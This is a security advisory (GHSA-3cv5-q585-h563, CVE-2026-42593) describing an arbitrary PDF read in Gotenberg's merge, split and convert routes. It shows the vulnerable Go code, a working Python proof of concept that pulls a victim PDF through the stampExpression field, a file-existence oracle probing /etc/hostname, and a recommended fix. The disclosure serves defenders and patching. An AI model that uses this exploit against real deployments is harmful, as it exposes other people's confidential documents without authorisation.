CVE-2026-42593: Github.com/gotenberg/gotenberg/v8 Gotenberg Has Arbitrary PDF Read Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3cv5-q585-h563",
  "modified" : "2026-05-14T20:52:32Z",
  "published" : "2026-05-07T00:59:50Z",
  "aliases" : [ "CVE-2026-42593" ],
  "summary" : "Gotenberg has arbitrary PDF read via stampExpression and watermarkExpression in merge, split, and convert routes",
  "details" : "## Summary\n\nSix conversion routes (`pdfengines/merge`, `pdfengines/split`, `libreoffice/convert`, `chromium/convert/url`, `chromium/convert/html`, `chromium/convert/markdown`) accept `stampSource=pdf` + `stampExpression=/path` and `watermarkSource=pdf` + `watermarkExpression=/path` from anonymous callers. The dedicated stamp/watermark routes require an uploaded file when the source type is image or pdf; these six routes only overwrite the expression when a file is uploaded, leaving the user-controlled path intact when no file is attached. pdfcpu opens the path and composites its pages onto the output PDF, which returns to the caller. An attacker reads any PDF the Gotenberg process can access on the container filesystem.\n\n## Details\n\nThe dedicated stamp route at `pkg/modules/pdfengines/routes.go:1322-1332` rejects requests missing the stamp file:\n\n```go\nif stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {\n    if stampFile == \"\" {\n        return api.WrapError(errors.New(\"no stamp file provided\"), ...)\n    }\n    stamp.Expression = stampFile\n}\n```\n\nThe merge, split, LibreOffice, and Chromium routes use a lax pattern across twelve call sites (six stamp + six watermark):\n\n```go\n// pkg/modules/pdfengines/routes.go:679-683 (merge), 803 (split);\n// pkg/modules/libreoffice/routes.go:307-311;\n// pkg/modules/chromium/routes.go:433-438, 508-513, 592-597\nif (stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF) && stampFile != \"\" {\n    stamp.Expression = stampFile\n}\nif (watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF) && watermarkFile != \"\" {\n    watermark.Expression = watermarkFile\n}\n```\n\nWhen `stampFile == \"\"` (no file attached to the `stamp` form field), the guard short-circuits and `stamp.Expression` keeps the raw user-supplied `stampExpression` form string. The same pattern applies to `watermarkFile`/`watermarkExpression`.\n\n`pkg/modules/pdfcpu/pdfcpu.go:635` forwards the expression straight to the pdfcpu CLI:\n\n```go\nargs := []string{\"stamp\", \"add\", \"-mode\", \"pdf\", \"--\", stamp.Expression, onDesc, inputPath, outputPath}\ncmd, err := gotenberg.CommandContext(ctx, logger, cfg.BinPath, args...)\n```\n\npdfcpu reads the target PDF at that path and composites its pages as a stamp on every page of the merged output.\n\n## Proof of Concept\n\nReproduction on the stock Docker image. The scenario models a deployment that mounts host paths into the container (common for document-processing pipelines) or where another request leaves a PDF in the shared `/tmp` filesystem:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\ndocker exec gotenberg-poc sh -c 'cat > /tmp/victim_doc.pdf' < victim.pdf\n```\n\nWhere `victim.pdf` contains extractable text such as `BOB-CONFIDENTIAL-CONTRACT-2026-04-20`.\n\nAlice attacks without auth:\n\n```python\nimport requests, io, subprocess\nT = \"http://localhost:3000\"\n\nminimal = (b\"%PDF-1.4\\n1 0 obj\\n<< /Type /Catalog /Pages 2 0 R >>\\nendobj\\n\"\n           b\"2 0 obj\\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\\nendobj\\n\"\n           b\"3 0 obj\\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >>\\nendobj\\n\"\n           b\"xref\\n0 4\\n0000000000 65535 f \\n0000000009 00000 n \\n\"\n           b\"0000000058 00000 n \\n0000000115 00000 n \\n\"\n           b\"trailer\\n<< /Size 4 /Root 1 0 R >>\\nstartxref\\n180\\n%%EOF\\n\")\n\nr = requests.post(\n    f\"{T}/forms/pdfengines/merge\",\n    files={\"file1\": (\"a.pdf\", io.BytesIO(minimal), \"application/pdf\"),\n           \"file2\": (\"b.pdf\", io.BytesIO(minimal), \"application/pdf\")},\n    data={\"stampSource\": \"pdf\", \"stampExpression\": \"/tmp/victim_doc.pdf\"},\n    timeout=30,\n)\nprint(f\"HTTP {r.status_code} bytes={len(r.content)}\")\nopen(\"/tmp/out.pdf\", \"wb\").write(r.content)\nprint(subprocess.run([\"pdftotext\", \"/tmp/out.pdf\", \"-\"],\n                     capture_output=True, text=True).stdout)\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\nHTTP 200 bytes=1852\nBOB-CONFIDENTIAL-CONTRACT-2026-04-20\n...\n```\n\nNon-PDF targets via `stampSource=pdf` (for example `/etc/hostname`) return HTTP 500 after pdfcpu fails to parse the file as PDF, which acts as a file-existence oracle. `stampSource=image` with non-image files returns HTTP 400 (image parsing rejects it). The same PoC applies with `stampSource` replaced by `watermarkSource` and `stampExpression` by `watermarkExpression`.\n\n## Impact\n\nAny anonymous caller with access to port 3000 reads PDF files from any path the Gotenberg process can open. In the default Docker image with no volume mounts, the reachable set is limited to `/tmp/<gotenberg-work-uuid>/<request-uuid>/*.pdf` (files staged during another in-flight request) and any PDF files the base image happens to ship. In deployments that bind-mount host directories into the container (document processing pipelines, shared storage for Office document conversion), the attacker reads arbitrary PDF files under those mount points. The file-existence oracle additionally lets the attacker probe for the presence of non-PDF files anywhere the process can read.\n\n## Recommended Fix\n\nApply the dedicated stamp route's guard to all six stamp call sites and all six watermark call sites:\n\n```go\nif stamp.Source == gotenberg.StampSourceImage || stamp.Source == gotenberg.StampSourcePDF {\n    if stampFile == \"\" {\n        return api.WrapError(\n            errors.New(\"no stamp file provided for image or pdf source\"),\n            api.NewSentinelHttpError(http.StatusBadRequest,\n                \"Invalid form data: a stamp file is required for image or pdf source\"),\n        )\n    }\n    stamp.Expression = stampFile\n}\nif watermark.Source == gotenberg.StampSourceImage || watermark.Source == gotenberg.StampSourcePDF {\n    if watermarkFile == \"\" {\n        return api.WrapError(\n            errors.New(\"no watermark file provided for image or pdf source\"),\n            api.NewSentinelHttpError(http.StatusBadRequest,\n                \"Invalid form data: a watermark file is required for image or pdf source\"),\n        )\n    }\n    watermark.Expression = watermarkFile\n}\n```\n\nCall sites: `pkg/modules/pdfengines/routes.go:679-683` (merge), `:803-807` (split), `pkg/modules/libreoffice/routes.go:307-311`, `pkg/modules/chromium/routes.go:433-438` (url), `:508-513` (html), `:592-597` (markdown), plus each route's watermark counterpart.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotenberg/gotenberg/v8"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "8.31.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-3cv5-q585-h563"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42593"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotenberg/gotenberg"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T00:59:50Z",
    "nvd_published_at" : "2026-05-14T16:16:22Z"
  }
}